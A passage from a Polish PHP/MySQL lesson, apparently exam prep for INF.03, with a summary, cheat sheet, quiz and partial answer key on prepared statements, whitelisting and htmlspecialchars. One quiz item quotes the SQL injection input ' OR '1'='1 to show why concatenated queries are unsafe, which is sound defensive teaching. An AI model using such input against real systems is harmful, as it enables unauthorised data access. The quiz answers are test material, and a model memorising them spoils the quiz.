&#91; ] Przy wyłączonej bazie TaskQuest pokazuje komunikat, a nie błąd PHP.
&#91; ] Usunęłam/usunąłem brudnopis.</code></pre>



<h1 class="wp-block-heading">Pytania kontrolne</h1>



<p class="wp-block-paragraph"><br />Co zwróci każde zapytanie (liczba wierszy), gdy w bazie są tylko dane testowe z <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest.sql</code>?<br /><pre><code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT tytul FROM zadania WHERE uzytkownik_id = 2 AND data_wykonania IS NOT NULL;<br />SELECT login FROM uzytkownicy ORDER BY xp LIMIT 1;<br />SELECT tytul FROM zadania WHERE data_wykonania = NULL;<br /></code></pre><br />Kolega napisał: <code class="prettyprint lang-sql" style="font-size: 0.85em;">$polaczenie->query("SELECT id FROM uzytkownicy WHERE login = '$login'")</code> i twierdzi, że to bezpieczne, bo <code class="prettyprint lang-sql" style="font-size: 0.85em;">$login</code> przeszedł <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujLogin()</code>. Czy ma rację w tym jednym miejscu? Dlaczego mimo to w TaskQuest tak nie piszemy?<br /><br />Znajdź dwa błędy:<br /><pre><code class="prettyprint lang-sql" style="font-size: 0.85em;">$zapytanie = $polaczenie->prepare('SELECT id, tytul FROM zadania WHERE uzytkownik_id = ? AND termin &lt; ?');<br />$zapytanie->bind_param('i', $uzytkownikId, $dzisiaj);<br />$zapytanie->execute();<br />while ($wiersz = $zapytanie->fetch_assoc()) { ... }<br /></code></pre><br /><code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajUzytkownika($polaczenie, 7)</code> zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code>. Czy to awaria? Czym ta sytuacja różni się od wyłączonego serwera MySQL i jak każdą z nich obsługuje <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>?<br /><br />Dlaczego <code class="prettyprint lang-sql" style="font-size: 0.85em;">polaczZBaza()</code> łapie wyjątek i rzuca nowy z innym komunikatem, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadaniaUzytkownika()</code> nie łapie niczego?<br /><br />W sesji jest tylko <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownik_id</code>. Nauczycielka zmienia w phpMyAdmin imię ucznia. Kiedy uczeń zobaczy nowe imię — i jak byłoby, gdyby imię nadal było w sesji?<br /><br />Dlaczego właściwość <code class="prettyprint lang-sql" style="font-size: 0.85em;">dataOstatniejAktywnosci</code> ma typ <code class="prettyprint lang-sql" style="font-size: 0.85em;">?string</code>, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">login</code> zwykły <code class="prettyprint lang-sql" style="font-size: 0.85em;">string</code>? Wskaż kolumny w <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest.sql</code>, które o tym decydują.<br /><br />Ranking zwraca tablice <code class="prettyprint lang-sql" style="font-size: 0.85em;">['login' => ..., 'xp' => ...]</code>, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajUzytkownika()</code> obiekt <code class="prettyprint lang-sql" style="font-size: 0.85em;">Uzytkownik</code>. Dlaczego ta różnica jest uzasadniona? Skąd ranking bierze poziom gracza, skoro w zapytaniu go nie ma?<br /><br />Bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE uzytkownik_id = ?</code> Ola widzi zadania Kamy (Eksperyment 5). Czy prepared statement chroni przed tym błędem? Czym ten błąd różni się od SQL injection?<br /><br />Przy wyłączonym MySQL <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code> pokazuje 19 × <code class="prettyprint lang-sql" style="font-size: 0.85em;">[OK]</code>. Czy diagnostyka powinna sprawdzać połączenie z bazą? Podaj argument za i przeciw (wskazówka: zasada z Lekcji 10 i miejsce, w którym są dane dostępowe).</p>
</details>



<h1 id="dodatek" class="wp-block-heading">PODSUMOWANIE LEKCJI</h1>



<h2 class="wp-block-heading">W skrócie</h2>



<p class="wp-block-paragraph">Cztery różne rzeczy, których nie wolno mylić:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$polaczenie   obiekt mysqli            — połączenie z serwerem
$zapytanie    obiekt mysqli_stmt       — przygotowane polecenie (prepare)
$wynik        obiekt mysqli_result     — zbiór wierszy do odczytania
$wiersz       tablica asocjacyjna      — jeden wiersz; null, gdy wierszy już nie ma</code></pre>



<p class="wp-block-paragraph">Metody nie są wymienne: <code class="prettyprint lang-sql" style="font-size: 0.85em;">num_rows</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">fetch_assoc()</code> należą do <strong>wyniku</strong>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param()</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">execute()</code> do <strong>zapytania</strong>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">prepare()</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">set_charset()</code> do <strong>połączenia</strong>.</p>



<p class="wp-block-paragraph"><strong>SQL:</strong></p>



<ul class="wp-block-list">
<li>Kolejność klauzul jest stała: <code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT ... FROM ... WHERE ... ORDER BY ... LIMIT</code>. Zamiana miejscami = błąd składni.</li>



<li>Do <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code> tylko <code class="prettyprint lang-sql" style="font-size: 0.85em;">IS NULL</code> / <code class="prettyprint lang-sql" style="font-size: 0.85em;">IS NOT NULL</code>. <code class="prettyprint lang-sql" style="font-size: 0.85em;">= NULL</code> zwraca zero wierszy <strong>bez żadnego błędu</strong> — to najtrudniejszy do znalezienia z tych błędów.</li>



<li>Wymieniaj kolumny zamiast <code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT *</code> — nie przeciągasz do PHP danych, których nie potrzebujesz (np. <code class="prettyprint lang-sql" style="font-size: 0.85em;">haslo_hash</code>).</li>



<li>Zero wierszy to <strong>poprawny wynik</strong>, nie awaria. Awaria to brak połączenia albo błąd składni.</li>
</ul>



<p class="wp-block-paragraph"><strong>Bezpieczeństwo:</strong></p>



<ul class="wp-block-list">
<li>Każda wartość pochodząca z zewnątrz (<code class="prettyprint lang-sql" style="font-size: 0.85em;">$_GET</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_POST</code>, cookie, sesja) trafia do zapytania <strong>tylko</strong> przez prepared statement. Sklejanie <code class="prettyprint lang-sql" style="font-size: 0.85em;">"... = '$login'"</code> jest zakazane.</li>



<li>Walidacja to pierwsza linia obrony, nie zabezpieczenie zapytania. Zapytanie ma być bezpieczne samo z siebie.</li>



<li>Przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">?</code> / <code class="prettyprint lang-sql" style="font-size: 0.85em;">:nazwa</code> przekazujesz <strong>wartości</strong>, nigdy nazw tabel, nazw kolumn ani kierunku sortowania. Tam działa wyłącznie <strong>whitelist</strong> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">in_array()</code> + wartość domyślna).</li>



<li>Prepared statement chroni przed SQL injection, ale <strong>nie</strong> przed brakiem <code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE uzytkownik_id = ?</code>. Cudze dane pokazane właściwemu zapytaniu to błąd logiki, nie podatności.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">htmlspecialchars()</code> przy wyświetlaniu — to osobna ochrona (XSS), niezależna od prepared statements.</li>
</ul>



<p class="wp-block-paragraph"><strong>Szczegóły, które zaskakują:</strong></p>



<ul class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">query()</code> zwraca kolumny <code class="prettyprint lang-sql" style="font-size: 0.85em;">INT</code> jako <strong>teksty</strong>, prepared statement (<code class="prettyprint lang-sql" style="font-size: 0.85em;">get_result()</code>) — jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">int</code>. Daty zawsze jako tekst <code class="prettyprint lang-sql" style="font-size: 0.85em;">RRRR-MM-DD</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code> jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code>.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param()</code> przyjmuje <strong>zmienne</strong>, nie wartości: <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param('i', 5)</code> kończy się błędem.</li>



<li>Liczba liter w typach musi być równa liczbie znaków <code class="prettyprint lang-sql" style="font-size: 0.85em;">?</code>.</li>



<li>Znaki <code class="prettyprint lang-sql" style="font-size: 0.85em;">%</code> przy <code class="prettyprint lang-sql" style="font-size: 0.85em;">LIKE</code> dodajesz w PHP do zmiennej, nie do tekstu zapytania.</li>



<li>W PDO liczbę wierszy zwróconych przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT</code> liczymy przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">count($wyniki)</code> po <code class="prettyprint lang-sql" style="font-size: 0.85em;">fetchAll()</code>, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">fetch()</code> po ostatnim wierszu zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code> (w <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli</code> <code class="prettyprint lang-sql" style="font-size: 0.85em;">fetch_assoc()</code> zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code>).</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Co trzeba umieć na INF.03?</h2>



<ul class="wp-block-list">
<li><strong>połączyć skrypt z bazą</strong> na warunkach podanych w arkuszu: <code class="prettyprint lang-sql" style="font-size: 0.85em;">localhost</code>, użytkownik <code class="prettyprint lang-sql" style="font-size: 0.85em;">root</code> bez hasła, wskazana nazwa bazy;</li>



<li><strong>zamknąć połączenie na końcu skryptu</strong> — arkusz wymienia to jako osobne wymaganie wobec skryptów, więc brak zamknięcia to strata punktu, mimo że PHP zamyka połączenie sam;</li>



<li><strong>napisać <code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT</code> z wybranymi kolumnami i warunkiem <code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE</code></strong> (arkusz: „wybierające jedynie pola <code class="prettyprint lang-sql" style="font-size: 0.85em;">idObiekt</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">panstwo</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">nazwa</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">wartoscCechy</code> … dla <code class="prettyprint lang-sql" style="font-size: 0.85em;">idRodzaj = 10</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">idKontynent = 6</code>”) i zapisać zapytania w pliku tekstowym;</li>



<li><strong>wypełnić tabelę HTML wierszami z bazy</strong> — pętla po wyniku, w każdym obrocie jeden <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;tr></code> z komórkami z kolejnych pól;</li>



<li><strong>wypełnić listę rozwijaną danymi z bazy</strong> — <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;option value="idTurysta">nick&lt;/option></code> dla każdego wiersza;</li>



<li><strong>wygenerować odnośniki z parametrem GET</strong> na podstawie wyniku zapytania (<code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php?idKontynent=6</code>) i <strong>odebrać ten parametr z wartością domyślną</strong>, gdy go nie ma;</li>



<li><strong>rozpoznać w arkuszu tabelę funkcji</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli_connect</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli_query</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli_fetch_row</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli_fetch_array</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli_num_rows</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli_num_fields</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli_error</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli_close</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">isset</code> i umieć z niej skorzystać.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Minimum, które powinno wejść w pamięć</h2>



<p class="wp-block-paragraph">Jeżeli masz zapamiętać tylko kilka rzeczy z tej lekcji, zapamiętaj te:</p>



<ol class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT kolumny FROM tabela WHERE warunek ORDER BY kolumna LIMIT n</code> — kolejność stała.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">IS NULL</code> / <code class="prettyprint lang-sql" style="font-size: 0.85em;">IS NOT NULL</code>. <code class="prettyprint lang-sql" style="font-size: 0.85em;">= NULL</code> zawsze daje zero wierszy i nie zgłasza błędu.</li>



<li>Schemat obiektowy: <code class="prettyprint lang-sql" style="font-size: 0.85em;">new mysqli(...)</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">prepare('... WHERE x = ?')</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param('i', $x)</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">execute()</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">get_result()</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">while ($wiersz = $wynik->fetch_assoc())</code>.</li>



<li>Typy w <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param()</code>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">s</code> tekst, <code class="prettyprint lang-sql" style="font-size: 0.85em;">i</code> liczba całkowita, <code class="prettyprint lang-sql" style="font-size: 0.85em;">d</code> liczba z przecinkiem. Tyle liter, ile znaków <code class="prettyprint lang-sql" style="font-size: 0.85em;">?</code>, w tej samej kolejności.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">?</code> zastępuje <strong>wartość</strong>. Nazwa kolumny w <code class="prettyprint lang-sql" style="font-size: 0.85em;">ORDER BY</code> idzie przez whitelistę.</li>



<li>Dane z formularza lub adresu nigdy nie są doklejane do tekstu zapytania.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">fetch_assoc()</code> zwraca kolejny wiersz albo <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code> — dlatego działa <code class="prettyprint lang-sql" style="font-size: 0.85em;">while ($wiersz = ...)</code>.</li>



<li>Przy wyświetlaniu danych z bazy: <code class="prettyprint lang-sql" style="font-size: 0.85em;">htmlspecialchars()</code>.</li>



<li>Na egzaminie: <code class="prettyprint lang-sql" style="font-size: 0.85em;">localhost</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">root</code>, bez hasła, na końcu zamknięcie połączenia.</li>
</ol>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Ściągawka – najważniejsze polecenia i składnia</h2>



<p class="wp-block-paragraph"><strong>Połączenie — obiektowo, błędy jako wyjątki (styl TaskQuest)</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$polaczenie = new mysqli('localhost', 'root', '', 'nazwa_bazy');
$polaczenie-&gt;set_charset('utf8mb4');
// ...
$polaczenie-&gt;close();
</code></pre>



<p class="wp-block-paragraph"><strong>Połączenie — obiektowo, błąd sprawdzany warunkiem (styl z części teoretycznej)</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'nazwa_bazy');
if ($db-&gt;connect_error) { die("Błąd połączenia: {$db-&gt;connect_error}"); }
</code></pre>



<p class="wp-block-paragraph"><strong>Połączenie — PDO</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$pdo = new PDO("mysql:host=localhost;dbname=nazwa_bazy;charset=utf8mb4", 'root', '', &#91;
    PDO::ATTR_ERRMODE            =&gt; PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_DEFAULT_FETCH_MODE =&gt; PDO::FETCH_ASSOC,
    PDO::ATTR_EMULATE_PREPARES   =&gt; false,
]);
$pdo = null;   // zamknięcie
</code></pre>



<p class="wp-block-paragraph"><strong>SELECT</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT tytul, termin FROM zadania
WHERE uzytkownik_id = 1 AND data_wykonania IS NULL
ORDER BY termin DESC
LIMIT 10;
</code></pre>



<p class="wp-block-paragraph"><strong>Odczyt wyniku — mysqli</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$zapytanie = $polaczenie-&gt;prepare('SELECT id, tytul FROM zadania WHERE uzytkownik_id = ?');
$zapytanie-&gt;bind_param('i', $uzytkownikId);
$zapytanie-&gt;execute();
$wynik = $zapytanie-&gt;get_result();

echo $wynik-&gt;num_rows;
while ($wiersz = $wynik-&gt;fetch_assoc()) {
    echo htmlspecialchars($wiersz&#91;'tytul']);
}
$zapytanie-&gt;close();
</code></pre>



<p class="wp-block-paragraph"><strong>Odczyt wyniku — PDO</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$stmt = $pdo-&gt;prepare('SELECT id, tytul FROM zadania WHERE uzytkownik_id = :id');
$stmt-&gt;execute(&#91;'id' =&gt; $uzytkownikId]);

$wiersze = $stmt-&gt;fetchAll();     // wszystkie naraz -&gt; count($wiersze)
$wiersz  = $stmt-&gt;fetch();        // po jednym; false, gdy koniec
</code></pre>



<p class="wp-block-paragraph"><strong>Dwa parametry, LIKE, LIMIT, agregacje</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$zapytanie = $polaczenie-&gt;prepare('SELECT id FROM zadania WHERE uzytkownik_id = ? AND tytul LIKE ?');
$fraza = '%' . $szukane . '%';                 // % w PHP, nie w SQL
$zapytanie-&gt;bind_param('is', $uzytkownikId, $fraza);
</code></pre>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$stmt-&gt;bindValue(':limit', $limit, PDO::PARAM_INT);   // LIMIT w PDO wymaga typu
</code></pre>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT COUNT(*) AS liczba, SUM(xp) AS suma, AVG(xp) AS srednia, MAX(xp) AS maks
FROM zadania WHERE uzytkownik_id = 1;
</code></pre>



<p class="wp-block-paragraph"><strong>Whitelist dla sortowania</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$sort = $_GET&#91;'sort'] ?? 'xp';
$dozwolone = &#91;'xp', 'login', 'streak'];
if (!in_array($sort, $dozwolone)) { $sort = 'xp'; }
$sql = "SELECT login, xp FROM uzytkownicy ORDER BY {$sort} DESC";
</code></pre>



<p class="wp-block-paragraph"><strong>Mapowanie: zapis obiektowy <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2194.png" alt="↔" class="wp-smiley" style="height: 1em; max-height: 1em;" /> funkcje z arkusza egzaminacyjnego</strong></p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Obiektowo</th><th>Proceduralnie (tabela z arkusza)</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">new mysqli($h, $u, $p, $b)</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli_connect($h, $u, $p, $b)</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$db-&gt;query($sql)</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli_query($db, $sql)</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$wynik-&gt;fetch_assoc()</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli_fetch_array($wynik)</code></td></tr><tr><td>— (odpowiednik: <code class="prettyprint lang-sql" style="font-size: 0.85em;">fetch_row()</code>)</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli_fetch_row($wynik)</code> — tablica numeryczna</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$wynik-&gt;num_rows</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli_num_rows($wynik)</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$db-&gt;error</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli_error($db)</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$db-&gt;close()</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli_close($db)</code></td></tr></tbody></table></figure>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli_fetch_array()</code> domyślnie zwraca klucze i numeryczne, i tekstowe (<code class="prettyprint lang-sql" style="font-size: 0.85em;">MYSQLI_BOTH</code>) — stąd w arkuszu działa zarówno <code class="prettyprint lang-sql" style="font-size: 0.85em;">$w['nazwa']</code>, jak i <code class="prettyprint lang-sql" style="font-size: 0.85em;">$w[1]</code>.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Quiz – sprawdź się</h2>



<ol class="wp-block-list">
<li><p>Ile wierszy zwróci każde zapytanie, jeżeli w tabeli <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadania</code> są 4 wiersze Kamy (w tym 1 wykonane) i 1 wiersz Oli (niewykonany)?<code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT tytul FROM zadania WHERE uzytkownik_id = 1 AND data_wykonania IS NULL;<br />SELECT tytul FROM zadania WHERE data_wykonania = NULL;<br />SELECT tytul FROM zadania ORDER BY termin LIMIT 2;<br /></code></p></li>



<li><p>Dlaczego to zapytanie nie zadziała i jak je poprawić?<code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT login FROM uzytkownicy ORDER BY xp DESC WHERE xp > 100;<br /></code></p></li>



<li><p>Co jest źle?<code class="prettyprint lang-sql" style="font-size: 0.85em;">$zapytanie = $polaczenie->prepare("SELECT id FROM uzytkownicy WHERE login = '?'");<br />$zapytanie->bind_param('s', $login);<br /></code></p></li>



<li><p>Znajdź dwa błędy:<code class="prettyprint lang-sql" style="font-size: 0.85em;">$zapytanie = $polaczenie->prepare('SELECT id, tytul FROM zadania WHERE uzytkownik_id = ? AND xp > ?');<br />$zapytanie->bind_param('i', $uzytkownikId, $minimumXp);<br />$zapytanie->execute();<br />while ($wiersz = $zapytanie->fetch_assoc()) { echo $wiersz['tytul']; }<br /></code></p></li>



<li><p>Co wypisze ten kod, jeżeli zapytanie zwróci 3 wiersze?<code class="prettyprint lang-sql" style="font-size: 0.85em;">$wynik = $polaczenie->query('SELECT login FROM uzytkownicy');<br />$ile = 0;<br />while ($wiersz = $wynik->fetch_assoc()) { $ile++; }<br />echo $ile + $wynik->num_rows;<br /></code></p></li>



<li><p>Użytkownik wpisuje w wyszukiwarkę <code class="prettyprint lang-sql" style="font-size: 0.85em;">' OR '1'='1</code>. Wersja A używa <code class="prettyprint lang-sql" style="font-size: 0.85em;">query()</code> ze sklejonym tekstem, wersja B prepared statement. Ile wierszy zwróci każda i dlaczego?</p></li>



<li><p>Uzupełnij tak, aby znaleźć zadania użytkownika o <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> = 3, których tytuł zawiera słowo wpisane w <code class="prettyprint lang-sql" style="font-size: 0.85em;">$szukane</code>:<code class="prettyprint lang-sql" style="font-size: 0.85em;">$zapytanie = $polaczenie->prepare('SELECT tytul FROM zadania WHERE uzytkownik_id = ? AND tytul LIKE ?');<br />$fraza = ______________;<br />$zapytanie->bind_param(______, $id, $fraza);<br /></code></p></li>



<li><p>Kolega chce pozwolić użytkownikowi wybrać kolumnę sortowania i pisze:<code class="prettyprint lang-sql" style="font-size: 0.85em;">$zapytanie = $polaczenie->prepare('SELECT login, xp FROM uzytkownicy ORDER BY ?');<br />$zapytanie->bind_param('s', $_GET['sort']);<br /></code>Czy to jest bezpieczne? Czy to zadziała? Jak zrobić to poprawnie?</p></li>



<li><p>Ten sam wiersz odczytany raz przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">query()</code>, raz przez prepared statement. Co pokaże <code class="prettyprint lang-sql" style="font-size: 0.85em;">var_dump($wiersz['xp'])</code> w każdym przypadku i skąd ta różnica?</p></li>



<li><p><code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajUzytkownika($polaczenie, 7)</code> zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code>, bo użytkownika o takim <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> nie ma. Czy skrypt powinien rzucić wyjątek? Uzasadnij.</p></li>



<li><p>Który fragment jest niebezpieczny i jaki to typ podatności?<code class="prettyprint lang-sql" style="font-size: 0.85em;">// A<br />$stmt = $polaczenie->prepare('SELECT imie FROM uzytkownicy WHERE id = ?');<br />$stmt->bind_param('i', $id);<br />$stmt->execute();<br />$wiersz = $stmt->get_result()->fetch_assoc();<br />echo "Cześć, {$wiersz['imie']}!";<br /><br />// B<br />$imie = $_POST['imie'];<br />echo "Cześć, " . htmlspecialchars($imie) . "!";<br /></code></p></li>



<li><p>Zadanie praktyczne (schemat egzaminacyjny). Napisz skrypt, który: łączy się z bazą <code class="prettyprint lang-sql" style="font-size: 0.85em;">wodospady</code> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">localhost</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">root</code>, bez hasła), pobiera <code class="prettyprint lang-sql" style="font-size: 0.85em;">idObiekt</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">panstwo</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">nazwa</code> z tabeli <code class="prettyprint lang-sql" style="font-size: 0.85em;">obiekty</code> dla <code class="prettyprint lang-sql" style="font-size: 0.85em;">idKontynent</code> przesłanego metodą GET (domyślnie <code class="prettyprint lang-sql" style="font-size: 0.85em;">6</code>), wypisuje każdy rekord jako wiersz tabeli HTML i na końcu zamyka połączenie. Wypisz sam szkielet PHP, bez stylów.</p></li>
</ol>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>Odpowiedzi</strong></summary>
<ol class="wp-block-list">
<li><p>3 wiersze; <strong>0 wierszy</strong> (mimo że niewykonane zadania istnieją — <code class="prettyprint lang-sql" style="font-size: 0.85em;">= NULL</code> nigdy nie jest prawdą); 2 wiersze.</p></li>



<li><p>Zła kolejność klauzul. Poprawnie: <code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT login FROM uzytkownicy WHERE xp > 100 ORDER BY xp DESC;</code></p></li>



<li><p><code class="prettyprint lang-sql" style="font-size: 0.85em;">'?'</code> w apostrofach to zwykły tekst, a nie parametr. Zapytanie ma zero parametrów, więc <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param()</code> zgłosi błąd o niezgodnej liczbie parametrów. Poprawnie: <code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE login = ?</code>.</p></li>



<li><p>(a) Typy: dwa znaki <code class="prettyprint lang-sql" style="font-size: 0.85em;">?</code>, a tylko jedna litera — powinno być <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param('ii', $uzytkownikId, $minimumXp)</code>. (b) <code class="prettyprint lang-sql" style="font-size: 0.85em;">fetch_assoc()</code> wywołane na zapytaniu zamiast na wyniku — brakuje <code class="prettyprint lang-sql" style="font-size: 0.85em;">$wynik = $zapytanie->get_result();</code> i pętli po <code class="prettyprint lang-sql" style="font-size: 0.85em;">$wynik</code>.</p></li>



<li><p><code class="prettyprint lang-sql" style="font-size: 0.85em;">6</code>. Pętla odczytała 3 wiersze, więc <code class="prettyprint lang-sql" style="font-size: 0.85em;">$ile</code> wynosi 3. <code class="prettyprint lang-sql" style="font-size: 0.85em;">num_rows</code> to liczba wierszy w wyniku i <strong>nie zmniejsza się</strong> w miarę odczytywania — nadal 3. Razem 6.</p></li>



<li><p>Wersja A zwróci <strong>wszystkie</strong> wiersze — tekst użytkownika stał się częścią polecenia i warunek <code class="prettyprint lang-sql" style="font-size: 0.85em;">'1'='1'</code> jest zawsze prawdziwy (SQL injection). Wersja B zwróci <strong>0</strong> — baza porówna to jako zwykły tekst, czyli poszuka nazwy dosłownie brzmiącej <code class="prettyprint lang-sql" style="font-size: 0.85em;">' OR '1'='1</code>.</p></li>



<li><p><code class="prettyprint lang-sql" style="font-size: 0.85em;">$fraza = '%' . $szukane . '%';</code> oraz <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param('is', $id, $fraza)</code>.</p></li>



